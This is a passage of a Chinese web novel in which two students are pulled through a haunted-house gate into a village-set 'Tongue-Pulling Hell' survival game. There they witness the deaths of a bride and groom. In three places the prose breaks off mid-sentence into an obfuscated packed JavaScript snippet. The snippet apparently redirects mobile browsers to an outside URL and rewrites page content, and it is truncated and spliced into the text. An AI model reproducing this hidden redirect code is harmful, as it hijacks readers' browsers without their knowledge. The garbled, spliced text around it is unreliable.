沈奕转头。龚沧所指之处,有一块巨大的石头。 石头同样漆黑,上头血淋淋地写着三个大字。 【鬼门关】 身前传来一阵轰隆隆的闷响。 脚底下跟着地动山摇起来,沈奕回身望去。 巨门在他面前缓缓打开。 门上涌动的鬼纹互相撕扯,从门上挣扎着凸了起来。 恶鬼嘶吼,魂魄哭嚎,巨门向两边退去。 片刻,轰隆隆的笨重开门声音停下了。 一条荒凉的林间小路静静地铺在门后。 4. 鬼新郎(壹) 巨门后,是一条很窄的林间小路。 路两边是长得有人腰那么高的发黄杂草。天上阴沉发灰,乌云厚重,仿佛要下一场暴雨。 一股邪风从那林间小路的深处吹来,风声犹如哭泣。 直到此时此刻,沈奕才终于发觉,事情似乎不太对——一个鬼屋再牛逼,也不能把门做得这么大,门上的花纹也做得这么花,也不可能在一个商场顶层做出这么一个宽广的造景。 那要下雨似的天空,怎么看都不像是假的。 真见鬼了? 那种只有在论坛帖子里才见得到的奇异的撞鬼经历,就这么水灵灵地让他碰上了? 沈奕难得头皮有点炸。 “沈奕……” 龚沧哆哆嗦嗦爬起来,哆哆嗦嗦地说,“别进去吧?好像……好像,事情不太对吧?” 沈奕回头,刚想说话,突然一股强力的邪风打面前吹向门里,把他俩全都吸进去了。 沈奕猝不及防,只来得及惨叫一声。他关节都在风里扭曲了,他好像还听见自己的骨头嘎巴了一声。 沈奕摔在小路上,落地时打了好几个滚。 他摔成了个折叠屏,停下来时屁股都快坐脑袋上了。 身体这样折着呆了片刻,沈奕的魂儿才回到身体里。他深吸一口气,莽足了劲往前一翻,坐了起来——幸亏他小时候还学过一段时间舞蹈,身体柔韧性还不错。 沈奕揉着自己摔得酸痛的胳膊,又揉了揉自己的老腰,颤颤巍巍地起身来后回头一看,龚沧也成折叠屏了。 这哥们显然没有沈奕这么经得起折腾。趴在地上晕晕乎乎眼冒星星,还没回过魂儿来。 “哎,起了。” 沈奕走过去,毫不留情地抓住他两只胳膊,抬手就一个猛子把他正了过来,顺手晃了两下他的肩膀,把他摇回过神来。 龚沧惊醒过来,他赶紧回头一望,脸色立马白得像张纸。 沈奕顺着他的目光望去。 那道巨门没有了。 他们身后一片空空荡荡,远处一片黑雾弥漫。 龚沧又浑身一软,一屁股跌坐到了地上。 沈奕站了起来,四处望了望。周边四野茫茫,全是一望无际的杂草,往前些的地方倒是长了一片林子。 “沈奕……”龚沧声音颤抖,“咱俩,好像……不在鬼屋里了吧?” 这情况,当然不可能还是鬼屋了。 “谁家鬼屋这么对待客人。把人摔得这么狠,他不怕被告消协吗。”沈奕说,“再说那道门,我都想不出用什么科技才能做出那种花纹效果。” 沈奕拿出手机来,看了眼时间,沉默了。 龚沧抱住自己,恐惧地望着四周:“那我们这到底怎么回事,不是确实是在鬼屋里来着吗,怎么就突然……你怎么了,怎么不说话?” 沈奕又沉默片刻,点了两下手机。 “龚啊,”他说,“咱好像确实撞鬼了。” “哎?” 沈奕把手机亮给他看。 手机上是主界面,时间是早上5:27。 而日期,是1986年11月2日。 龚沧本就没有多少血色的脸更惨白了。 他哈哈干笑两声:“是你手机坏了吧……不行啊你沈奕,手机都买多少年了……” “傻蛋吧你,我手机前两天才摔了,你陪我去换的新的,这他爹的是光耀300,最新牌子。” “……” “不信你就拿自己手机看看,”沈奕把手机收回来,又在设置里点了好几下,“我刚刚试着调过了,但时间怎么都调不回去。” 龚沧连忙也拿出手机来。 他打开手机,屏幕一亮,时间显示的和沈奕那边一模一样。他连忙解锁进去,点了设置,手指哆嗦着忙了一通,果然也是调不回去。 他每次调好之后,设置都显示“设置成功”了,可返回主界面一看,还是那样。 显示今天是1986年11月2日。 早上五点半。 龚沧崩溃了:“这怎么回事!?” “撞鬼了呗。”沈奕很淡定,把手机塞回兜里,回头看看蔓延向一片树林里的小路,“没什么办法,走吧,先顺着这条路往那边走走看看。在这儿坐着也没办法,这么玄乎的事儿,你难不成还指望等警察来救?” 龚沧眼前一亮:“对啊!等警察来救我们不就行了!” 沈奕:“……” 沈奕目光鄙夷地望向他。 龚沧兴奋不已地站起来,两手握拳:“我们可是跟四个学弟学妹一起进的鬼屋,咱俩突然离奇失踪,他们迟早会注意到的!到时候他们报案,警察来了,迟早会顺着蛛丝马迹找到这里来,咱们就得救了!我们就在这里等着就好了,就是原地不动等待救援!没错吧!” 这人一害怕起来脑子真是蠢得可以,沈奕忍无可忍了,一脚踢到他屁股上:“没错你大爷!” 龚沧一声惨叫摔到地上,捂着屁股回头,恼道:“你干什么!” “我干什么,你说我干什么!?”沈奕说,“你脑子叫驴踢了吗你,警察是灵能百分百吗,还能找到这么玄乎的地方来!?直通地府吗警局里面有黑白无常吗!?撞鬼的地方都找得到!” 沈奕骂完就不想跟龚沧说话了,简直拉低智商。他手插着兜回过身,怒气冲冲地往路前走去,嘴里嘟嘟囔囔地又骂了几句。 龚沧莫名其妙,爬起来以后追了上去:“等等啊沈奕!” 龚沧快跑几步,追了上去。沈奕没理他,手插着兜自顾自地往前走,直直走进了不远处的林子里面。 风吹得两侧的树木哗哗作响,两侧荒草空旷,风声又呼啸,好似那树林深处潜伏着什么,而那东西又随时都会冒出来。 龚沧吓得又快走几步,抓着沈奕的衣角,贴在他身后害怕不已:“我说,我们还是回去等警察吧……” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15152199|164873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要真是有鬼,你还一直原地不动的话,等警察来的时候黄花菜都凉了,你估计都变成红烧人干登上鬼妈妈的餐桌了。有路还不赶紧走走看看?看看这到底什么情况。” 龚沧被他说的话吓得咽了口唾沫,再不敢说什么,缩起脖子,跟个鹌鹑似的,跟着他一路往深处走去。 树林里的风呼啸不停,如同哭泣一样号叫回响。 走了片刻,两人终于出了林子。 视野豁然开朗,脚下的路都宽敞了不少。沈奕抬眼一瞧,见路的尽头有个村子。 村门口有个石头牌坊,写的什么倒看不太清,但村门口站了好多人。他这样远瞧过去都数不过来,少也有十几个了。 “好多人啊。”龚沧说完,又害怕了,“不会都不是活人吧?咱要过去吗?” “过去吧。”沈奕说,“多少凑近过去看看。” 沈奕带着他走近了过去。 走近过去一看,沈奕就确定那都是活人了——十几个人里一大半都在低头玩手机。 沈奕就没见过哪个鬼会玩手机。 于是他放下心来,走上了前。 见他过来了,有个没玩手机的西装革履的男人转过身来,往他身后瞧了瞧,看见了龚沧,就转身对其他人说:“人来全了。” 沈奕一怔:“什么?” “算上你们两个,就十八个人了。”西装男人说,“走了,可以进去了。” 十几个人便都转过身,乌泱泱地往村子里面走去。 “不是,哎!” 龚沧急了,他冲上去抓住西装男,急切道,“什么意思啊,什么人齐了?你们这搞什么!?你们不是撞鬼了才在这儿的吗,这到底要去哪儿啊?!” 西装男怔了怔。 一同往里走去的十几个人也停下了好几个,他们脸上各个都诧异了下,随后不约而同地看向沈奕。 有人不可思议:“你俩是新人?” “啊?”沈奕迷茫,“什么新人?” “我靠,你这新人这么淡定?”一个一头大波浪的漂亮女人稀奇道,“厉害呀。算了,你们先跟上,懒得跟你们先解释。” “反正一会儿会有东西告诉你们怎么回事的。”另外一个瘦得尖嘴猴腮的男人也说,“懒得说。万一你们第一晚就死了,多浪费我们的嘴皮子。” “也是,解释起来还麻烦。” 西装男甩开龚沧的手,从兜里拿出一个手帕,擦了两下刚刚被抓住的地方,说,“先跟上吧。” 他转身离开了。 其他十几个人也都不再理睬,一同往村子里走去。 没人愿意回答,沈奕无可奈何,只能和龚沧一起跟上众人。 村子里也是风声阵阵,吹得人脖颈子发凉。临走进村子前,沈奕似有所感,抬头望了望村门口的石牌坊。 他愣住了,停在原地。 石牌坊上写着三个血红的字。 “杨庄子”。 5. 鬼新郎(贰) 沈奕停在原地。 没记错的话……他今早刚进的那个六人鬼屋,就叫杨庄子。 他拧起眉刚要细想,龚沧叫了他一声:“沈奕,走啊。” 沈奕回过神来,龚沧已经进村子了。 而那十几个人也都散开,正各自去往村子里的屋院门前敲门。 每个人都把门敲得咚咚响,还吆喝着要屋里的人开开门。 沈奕插着兜走进村子里,对这一幕莫名其妙。他抓住一个刚从一家屋院门前退回来的人,问道:“这干什么呢?” “找NPC。”那人回了他一句,就没再多说,转头又问别人,“找到了没?” “没有,都没人在。”西装男从一家屋院门前回来,手叉着腰叹气说,“也有可能是确实有人在屋子里,但不给我们开门而已。” “找到了!” 远处突然有人吆喝了一声。沈奕转头一望,出声的人站在稍远些的地方,同样是在一户村中人家的屋院门前。 一个胖乎乎的村妇站在门口,朝他们挥了挥手,呵呵笑着,看起来憨厚老实。她身上穿的衣服打了补丁,有些破旧,样式也很老,倒很像是86年的款儿。 一旁,敲开门的那人也朝他们挥着手,招呼他们过去。 其他人都往那边走了过去,聚集了起来。 “走了新人,”大波浪的漂亮女人路过沈奕身边,顺嘴招呼了他俩一声,“进游戏了。” “进游戏?” 女人还是没有过多解释,说完话就走了。 沈奕只好拉着龚沧先过去。 众人都聚集到了这户人家跟前。 村妇满面红光,拍着手说:“都回来就好,都回来就好!” “哎哟,今儿就婚宴了,你们都还没回来,老婆子我都以为你们要回不来了!太好了,你们都赶在中午婚宴之前回来了!” “你们等会儿我啊,他们在村东边王大嘴家那边办婚宴呢,我这就领你们过去!上午结完婚,咱们就吃席!这会儿老张家应该正放鞭炮,要去接新娘子了!” 村妇边说边高兴地将两只手在围裙上抹了两下,“等我去换件衣服啊!” 她说完就回过头,进了屋子里面。 沈奕趁机打量了一下旁人,所有人面色如常,似乎并不觉得有什么。 没一会儿村妇就出来了,她把围裙换下,穿了个更漂亮更鲜丽的外套。 “走吧!”村妇喜气洋洋,“咱去参加婚宴了!今天风和日丽的天气这么好,他们两家真是会挑日子呀!” 风和日丽。 沈奕抬起头,天上阴沉无比,乌云厚重,风声尖啸。 这叫风和日丽啊。 日在哪儿呢? 龚沧没忍住:“她瞎啊,这天气哪儿风和日丽了。” 他这话声音不低,所有人都听得见。 话一出口,空气有一瞬的寂静凝固。 村妇还是笑眯眯的,沈奕却听见倒吸一口凉气的声音。他转过头,见这帮刚刚还不动声色的人居然有好几个都面露惊惧,还有其余几个一脸幸灾乐祸地睨过来的。 那眼神,就好像沈奕跟龚沧要死到临头了似的。 村妇却并没怎么样,她转身高高兴兴地就走了。 惊惧的松了口气,幸灾乐祸的那几个一脸扫兴。一群人跟着她,往村子里面走去。 有个黄毛“嘁”了声:“怎么没反应啊,我还以为开局就要死人了,那多刺激。” “怎么会有反应。”西装男说,“播报都没响呢,还没开局。” “也对哦。”黄毛笑嘻嘻地回头过来,看着他俩说,“等开局了,估计他俩一秒就死出去了。” 龚沧一脸无措。 有几个人吃吃地低声笑起来,不怀好意地打量着他们两个。 “少说两句,吓唬新人干什么。”大波浪的女人说了他们一句,也回头对龚沧说,“你也是,少说两句。你要是说错话,马上就得死。” 龚沧脸一白,呵呵干笑起来:“哪儿至于啊,姐姐,不就是一句话吗。” “你在上面不至于,在这里就不一定了。”女人顿了顿,叹了口气,终于还是给了他俩一句话,“这里是地狱啊。” 龚沧一怔:“什么?” “这里是地狱。”女人说,“你不是以为自己撞鬼了么?不是撞鬼,你是被拉进地狱里来了。这是地狱的生死游戏,我们大家都是游戏的参与者,赢了才能回现实,懂吗?” 龚沧呆在原地。片刻,他抽了抽嘴角,很难看地干笑起来:“你说什么呢姐,这话不能瞎说啊,你开玩笑也不能……” 女人朝他翻了个白眼,再次重重叹了口气,满脸都写着“果然又是个沙比”。 她转头走了,不再留恋,也不想再跟他多说。 龚沧见她如此冷漠,不禁想哭。他回过头,委委屈屈的:“沈奕……” 沈奕正在环望四周。 他没理龚沧,皱了皱眉——地不地狱的先放一边,这村子莫名其妙的很是眼熟。 “沈奕!” 龚沧又喊了他一声,沈奕才回过神,望向他:“干什么?” “她说我们下地狱了啊,”龚沧低声说完,指着往前走去的大部队,苦兮兮地哈哈笑着,“怎么可能呢,对吧!” 龚沧满脸希冀地望着他,瞳孔颤抖,眼中乞求。 沈奕无言。他知道,虽然还没出事,但龚沧快被吓疯了,他想要沈奕说出附和的答案,哪怕那只能给他微弱到还没一粒沙重的心安。 沈奕哈哈笑了两声,抬手拍了拍他的肩膀,没说什么,跟上大部队走了。 “沈奕!”龚沧快哭了,追了上去,“沈奕!” * 一行人跟着村妇往里走。 “咱们杨庄子呀,已经没几口人了。”村妇说,“因为之前……哎,不说不说,这么喜庆的日子,不能说之前的晦气事!总之呀,这好不容易有两家人结婚,村子里面可得热闹热闹!” “你们这些从村子里出去打拼的孩子也都给面子,都回来参加婚礼了,老张家跟老李家要是知道了,肯定高兴!你们这么给他们面子!” 村妇憨厚地笑着,领着他们一路往前走。 渐渐地,前面吵闹了起来,欢笑声合着爆竹声响成一团。 有人放了鞭炮,那噼里啪啦的声音震天响。 沈奕长得高,人快一米九多,高中还是篮球队的。他垫了垫脚抻长脖子,往前一看,就见路尽头那边一片红艳艳,在灰蒙蒙的村子里十分扎眼。 红绫高挂,地上都是爆竹炸过后的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15152200|164873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红色碎片,空气里都荡着烟火的呛味儿。人们都穿得很是喜庆,站在路两旁拍着手,大声地笑闹着。 见到村妇带着一群人来,就有个中年男人招了招手,朝她喊起来:“赵大娘!这儿呢!” 村妇原来姓赵。 赵大娘应了一声,带着一群人上了前去,高高兴兴道:“瞧,人我都带来了!看看咱们村的孩子,个个都一表人才呀!” “哎哟,还真是!” 村人们一下子全都乌泱泱地围了上来,将他们十几个人围了个水泄不通,个个脸上挂着笑容,你一言我一语地对着他们嘘寒问暖。 “这是老钱家的吧?真是长大了,现在比我都高了!” “在哪儿上班呢呀?” “一个月多少钱,有女朋友了没?” “哎哟,这是老孙家的吧!哈哈,我都认不出了!还记得我不?” “我是你常大姨啊,小时候我还抱过你呢!” 村人们哈哈大笑起来,有人嗔怪旁人玩笑开得紧,有人笑得爽朗。 众人哈哈干笑几声,有几人出言应付了几句。 所有人都或多或少的一脸懵逼——他们居然也对这情形感到疑惑。 有人偏头望向旁边的人:“这怎么回事?” “不知道,这怎么回事啊?”被问的人同样疑惑,“不应该啊,没见过这么有活人感的关卡啊。” “会不会是油锅?他们这么好声好气哄着我们,就是盘算着要把我们投油锅里?” “那是守夜人的事儿啊,跟这些NPC有什么关系……” “那也对。” 龚沧听得还是一头雾水。他心里焦急暴躁恐惧,刚想找沈奕商量商量,一群村人就把他们连推带拽地推搡进了屋院里。 这家人屋院大开,门两边还贴着对联。院子里面更是喜气洋洋,满目皆红,地上也有一地爆竹残骸。 满院子都是桌子,每张桌子上都已经有三四盘菜了。 村人们将他们按在一张大桌子上,笑着让他们等着婚礼开始,随后便四散开来,忙去了。 十几个人围着一张农村常有的木头大桌子,面对着桌上的几盘子菜,沉默了。 好久都没人说话。 院子里的村人们忙碌不停,锅碗瓢盆咚咚锵锵的,一盘又一盘的新菜被端上桌子。 院墙上全是大片大片的红,看起来是用红漆特意涂了,大约是图个喜庆。 院子中央搭了个台子,台子很简陋,上头铺着红地毯,后边用木头搭了个架子,上头也挂着红绫。看来那就是结婚时要用的台子,新郎新娘待会儿就要上那个台子结婚了。 “这到底在搞什么,现在都还没响播报。” 黄毛终于耐不住沉默,开口说,“这地狱让我们吃席来了?” “确实好奇怪啊,这到底哪个地狱?” 这些人说的话,龚沧真是越听越听不懂。他抓住旁边的沈奕,说:“哎,这到底怎么回事啊,咱好好的玩着鬼屋,怎么现在跑到这种荒山野岭吃婚席来了……沈奕?” 沈奕侧身靠着椅背,人正向后望着。他看着忙碌欢笑的村人们,只留着个后脑勺面对龚沧。 “沈奕,”龚沧叫他,“你看什么呢?” “这地儿有点不对。”沈奕说。 6. 鬼新郎(叁) “哎?” 这话引起了旁人注意,桌上其余的“参与者”也都投来了目光。 那黄毛嗤笑:“你个新人,看什么能是对的?这地儿对你来说哪儿哪儿都不对好吧,装什么高深莫测。” “啊是吗,”沈奕回头白他一眼,“那如果一家办婚宴的院子,墙上和台子上好像贴满了红符都算没问题的话,就当我没说。” “什么?” 其余参与者立马警觉起来。大波浪的女人站起身来,往那台子上一望,顿时倒吸一口凉气,后脊骨都凉了。 台子上的哪里是红地毯,是一片密密麻麻的红符。 院墙上的那一片更不是什么红漆,而是一张张通红的符。红符全都贴在一起了,看起来才像一片红漆。 忽然身边窸窸窣窣一阵响,大波浪低头一看,见沈奕居然低头看桌子底下去了。 “桌脚上也有。”他说。 另一个参与者连忙低头去看,桌脚上还真是贴了血红的符咒。 桌上又一阵死一样的沉默。 村人们还在院子里笑闹着,忙活着,这桌上却如灌了冰一样沉默。 天色又暗了些,乌云更厚重了,好像要从天上生掉下来一样。 沈奕从地上爬起来,转头扫视一圈四周。 除此以外,他还觉得有些地方很不对。 这院子也很眼熟。 诡异的熟悉感自打进村以来就一直萦绕在心头了。这太匪夷所思了,村子里的一切都让他有种恐怖的熟悉感——甚至不用去问去看,他就知道,从那屋子门口进去以后,左边是间卧房,右边也是间卧房,灶台在两间卧房之间的过堂里。 灶台旁边是烧水的炉子,后头有个破旧的沙发。沙发后头是通往二楼的破楼梯,楼梯旁是南卧的门。门边墙上有个老旧挂钟一到整点就报时,会咚咚咚地响好几声。 他脑子里有抽象的信息。虽然看不到画面,但他知道大概是这样的布局。 怎么回事。 他望着屋门。村人们在屋门那块儿来来去去进进出出,忙得那叫一个快活。 沈奕突发奇想,转头问:“我能去里面看看吗?” 大波浪的女人一懵:“哈?” “没有,我就是想,”沈奕指了指那边的门口,“去那里面看看。” “你疯了吗你,不可以。违背NPC的要求会有很严重的后果,你坐下。” 她语气严厉,沈奕只好坐下。 气氛似乎缓和了些,龚沧赶紧趁热打铁地问:“所以,各位,就当可怜可怜我们,刚刚你们说的地狱是什么意思,守夜人又是什么?播报又是要播报什么?” 沈奕表现不错,参与者们也松了些态度——关键现在也什么都做不了,只能在这里等着上菜。 闲着也是闲着,西装男就说:“我们说的地狱就是……” 咚的一声。 一大盆子酸菜鱼重重放到这张桌子上,震得桌子抖了三抖。 众人吓了一跳,西装男的话也被打断了。沈奕抬头,端菜来的是个姑娘,她皮肤略黑,又黑里透着红,脸上挂着笑容。 “酸菜鱼来咯!”她喜气洋洋地说,“各位可先别吃呢,等新娘子结完婚再吃!新娘子梳妆去了,一会儿就出来!” “新郎呢?” “张二哥在屋子里呢呀!”姑娘把硬菜放到桌子最中央,把桌上的菜都重新摆了一下,“早上天还没亮,张二哥就去接新娘子了。一会儿,他就把新娘子带出来结婚了!没那么久啦,各位嘴馋也先忍忍嘛。” “张二哥最喜欢那个新娘子了!你们还不知道吧,新娘子跟张二哥一起长大的,是个可漂亮的姐姐了。她是孙婶子的三闺女,孙婶子是村子里的裁缝哩。” “人家都叫她三姐,三姐手又巧又爱笑,没人不稀罕她!” 姑娘摆好了桌子,直起身来,把手在身上的围裙上抹了两下,笑得眼睛弯弯,“张二哥盼这一天好久了,从前追三姐的人好多,张二哥烦得不行,还因为这事儿哭过呢!哈哈!” “嫁给张二哥,三姐也肯定会幸福的!你们看,三姐就在那屋里梳妆,一会儿就出来拜堂了!” 姑娘边说边抬头抬手,指了指屋子的二楼,“就在那里!” 众人抬头望去,却见有个什么东西刚好翻过那二楼窗户,直直地往下掉来。 大波浪眼睛一凛,立马反应过来:“快躲开!” “哎?呜啊!” 龚沧还愣着,西装男就扑过来,一把将他扑到地上;大波浪更是一步过来,拉着沈奕把他往后一扯。 其余参与者也纷纷腾地起身远离。 咚一声巨响,一个什么东西砸到了桌子上。 菜汤肉饭噼里啪啦地洒了一桌,又掉下地。盘子碎了满地,淌了一地的肉汤。 院里的欢笑戛然而止。 看清砸到桌子上的东西,所有参与者立即惨白了脸。 端来酸菜鱼的姑娘张着嘴,缩着瞳孔,惨然地哑巴了片刻,终于从嗓子里榨出一声惨叫。 “啊啊啊啊!!!” ——穿着红嫁衣的新娘子呈大字状,倒在桌子上。 她闭着双眼,七窍流血,脸色惨白又安详。 菜汤流到桌子边缘,往地面上滴滴答答地落。 沈奕懵了。他望着那新娘子,脑子里嗡嗡的响——这还是他第一次这么近地、真真切切地看死人。 耳边突然传来诡异的笑声。 笑声尖利,阴森冷凉。沈奕回头,却突然分辨不出这声音的来源。 声音从四面八方而来。 “来了。”大波浪突然说。 沈奕看向她。 大波浪也看着他。 她说:“跟你一起的那位,刚刚问的播报。” 她话音一落,笑声也吸了口气。 它嘶哑难听地开了口:【欢迎来到拔舌地狱。】 说话的声音阴冷诡异,语气里还带着一股凉凉笑意。 龚沧惊叫一声。沈奕转头一看,就见这哥们居然吓得转头就抱住了那个西装男,眼泪啪嗒啪嗒往下掉。 沈奕无语,抽了两下嘴角。 【这里是生与死的狂欢,这里是罪与罚的盛宴……】那声音说,【这里是地狱,并非你们所熟知的人间——请新的“罪人”牢记以下规则。】 一听“罪人”俩字儿,沈奕当即一脸懵逼,忍不住对着苍天抬手指了指自己。 罪人? 他啊? 什么罪啊? 我靠啊他沈奕从小老实到大啊好不好! 没人回答他,那声音自顾自地往下说了。 【在这里,你不需要睡眠,也不需要进食。】 【这里是地狱的“游戏”——请积极进行游戏,积极完成NPC的任务。当你终结地狱内的罪恶,即可通过关卡。】 【闯关成功后,“罪人”将得到回到现实的资格。】 【但在游戏过程中,一旦被猎杀而亡,或被地狱任务中的任意鬼怪杀害而死,都视为游 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15152201|164873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戏闯关失败。】 【——你将永远留在当前地狱。】 沈奕敏锐地捕捉到了不对:“猎杀?” “听着就知道了。”大波浪说。 【以下规则请进一步牢记。】播报的阴森声音刻意放慢,【各个地狱拥有独立的“守夜人”。】 【每到夜晚,该当的守夜人会出现于地狱之中。TA会猎杀各位“罪人”,为了活下去,请诸位务必全力逃亡。】 【但,每一次猎杀都有“规则”。】 【守夜人为游戏制定了自己的“规则”,他只能对在白日里触犯了“规则”的罪人发起猎杀。此规则不予任何告知,请各位自行小心……】 【守夜人每晚猎杀的最高上限为三个人,最低下限为一个人。】 沈奕挠了挠脑袋。 这居然还不是一场单纯的闯关过去就可以的游戏。 太费脑子了。 【在闯关成功后,引路人将会出现。引路人将带领各位前往守夜人的猎杀场,重回人间的路藏在守夜人的猎杀场后方。只有引路人来引路,“罪人”才不会被守夜人猎杀。】 【或者,杀死守夜人也能通过猎杀场——但,还没有人成功过。】 说完这话,声音又咯咯地尖声笑了起来。 沈奕被笑得心里发毛,搓了搓胳膊。 【鬼新郎,鬼新郎,天黑黑,要落雨;水底的鱼儿被捉到,天上的蜻蜓被烧光。鬼新郎,鬼新郎,莫打伞,莫安息,忘川河里没人等,苟活的孩子没去处……】 声音戚戚笑着,唱着莫名其妙的童谣,渐渐地消失了。 唱到最后,那阴森的声音透出一丝哀伤——大概是错觉。 “三姐!” 声音刚消失,沈奕还没缓过神来,背后直直冲过来一个男的,边喊着三姐边把他撞飞了。 沈奕猝不及防地扑到地上。 “三姐!”那男人扑到桌子上,大嚎起来,“三姐你睁眼,别吓唬我啊!三姐!!” 沈奕一脸幽怨无语,从地上爬了起来。 男人穿着一身破烂正装,身后很滑稽地打了补丁。他扑在新娘子身上,哭嚎个不停,摇着她喊三姐。 “不是,等会儿,”沈奕朝他摆摆手,“兄弟,听我说一句啊!你冷静点,你三姐也不一定是真死了……” “肯定死了。”大波浪凉凉道,“地狱游戏啊,跳下来一个七窍流血的,能活才怪了。” 沈奕无言以对——这说的很有道理啊。 院子里的村人们突然都大呼小叫起来,潮水一般呼地就围了过来,将“罪人”们都挤了出去。 他们围着新娘子,又哭又喊,哭天抢地:“三妹子!” “英红妹子!” “小红啊!快睁眼,别吓唬你姨!” 村人们着急哭喊,围着桌子叫个不停。 被挤出来的“罪人”们不自觉地走到了一起去,站在人群外围,观望着这光景。 沈奕转头问大波浪:“现在干什么?谁给我们任务?” 刚刚那播报里可是说要做什么NPC给的任务的。 “别着急,等着。”大波浪说,“迟早会来。” 话音刚落,那边屋门里突然跑出来一人。那人被门槛一绊,狠狠跪在地上。 他赶紧爬起来,顾不上自己摔了一脸灰还流了鼻血,抬头就喊:“不好了!” “张二哥死了!!” 村人们的哭喊声立刻又一顿。 空气霎时又静了。 7. 鬼新郎(肆) 小屋二楼。 只有几个村人匆匆上了楼来,其他的村人说要在下面继续看看那新娘子。 一群“罪人”跟着上了楼,推门一看,屋里的惨状让人心脏骤停。 到处都是血。 墙上血淋淋的,红彤彤的婚床上,新郎躺在那儿,死不瞑目地瞪着一双眼,身上婚服破裂,浑身如同一块被撕碎的纸似的,处处是口子,都在淋淋地流血。 沈奕挤过人群,走近过去一瞧,见新郎心脏的位置也被掏空了。 那里空荡的一片,血糊糊的。 他皱皱眉。 村人们见到这惨状,又惊叫一声哭了起来。有个村妇一见这情况,还当即两眼一翻昏了过去。 “老周!” 有人喊了她一声,过去把她抱了起来,又哭着说:“别昏啊!你还有好几个孩子呢,死这一个不打紧的!看开点啊,别昏!醒醒啊老周!” 哦,是这新郎的妈。 沈奕秒懂了,心脏突然突突了一下。 他又皱起眉来——他突然有一种很强的不适感。明明跟他没什么关系,可在听到“你还有好几个孩子,死这一个不碍事”的这话时,他这心脏却猛地一抽。 大约是这话确实过分。 身后突然挤上来好几个人。沈奕“我曹”一声,堪堪扶住了墙,差点没扑到新郎官身上。 他回头一看,是同行的这些“罪人”都挤了上来,查看情况——很显然,没人在意他,压到了他也没人说抱歉,更没人来拉他一把。 大家只在乎死人,一双双眼睛只顾着瞧新郎。 新郎死不瞑目,模样可怕,他们却眼睛都没眨一下,直勾勾地把这死人从头到尾看了一遍。 村人们也凑了上来,对着新郎官的尸体沉默了好久,神色凝重。 屋子里陷入了死一般的寂静。 尸体在前,大家似乎都不知道该说什么才好了。 有个手伸过来,把沈奕从人堆里拉了出来。 是大波浪。 大波浪把他拉到角落里,松开了他:“怎么样?” “什么怎么样?” “废话,新郎官啊,不然还问你什么。我没有往人堆里面扎的兴趣,没看到。他什么样?” “还能什么样……死得挺惨的呗。”沈奕无可奈何地比划了一下,“浑身都是口子,血流得呜呜的,眼睛里流血了。” “……”大波浪沉默了下,“我第一次听见‘血流得呜呜的’这种形容。” “啊是吗。”沈奕哈哈笑了声,“很贴切的形容吧?” 大波浪抽了抽嘴角,没说话。 “沈奕。” 龚沧走了过来,他这会儿面无血色,瞳孔都在哆嗦。 “这太不正常了吧,”他说,“你还笑得出来?咱俩怎么会掉到这什么地狱里来?” “拔舌地狱。”大波浪给他补充。 “我也觉得很不正常,”沈奕挠挠脸,苦笑了下,“可没办法啊,进来都进来了,先想办法出去呗。只要出去,不就没事了?” 大波浪:“是吗,只要出去就没事了?你看我们哪个像第一次进来的了?” 龚沧刚觉得沈奕说的有道理,受了点安慰,大波浪这一句话又给他打了个暴击。 龚沧的脸色又惨白了。 这么说起来也是。 沈奕转头问:“你们的确有说新人什么的。意思是你们都是老手,已经下了好几次这种地狱游戏了?” “是啊。”大波浪耸耸肩,“被地狱游戏选中的话,那就会无数次地进来打这种刺激的生死游戏。我一路走到今天,还没听说过能彻底脱离的这里的方法。” “不过为什么会被选中,我倒是听别的地狱的守夜人说过。” 大波浪看着他们两个,“每个地狱的新人参与者,都是犯了那个地狱的罪,才会被它选中,进入游戏。” “比如说,拔舌地狱。” 她放慢了语速,缓声道,“挑拨离间,诽谤害人,油嘴滑舌,巧言相辩,说谎骗人。这些就是拔舌地狱的罪名——你俩,肯定是犯过这里面的罪,而且是很严重的那种。自己没印象?” 沈奕目光迷离。 他仔细回忆了一下自己的一生——短暂的一生,只有二十一年。 “真没有,”沈奕回想完毕,诚恳道,“姐,虽然我小时候上房揭瓦上树掏马蜂窝,过年的时候一天内就吃光家里两箱砂糖桔,打游戏的时候玩奶没给队友加血、玩肉来人跑得最快、玩射手输出倒数第一、玩中单从来不给信号、玩打野死活抓不到人、玩第○人格秒救秒倒秒没道具还解擦以及总死在地下室,但我真的没干过你说的那些。” 大波浪:“……” 大波浪朝他翻了个白眼。 沈奕看向龚沧:“你也没干过吧?” 龚沧显然没他那么绰绰有余,还有心思自行翻开自己的“电竞”黑历史。 他冷汗流了满脸,整件衣服都被浸湿了。 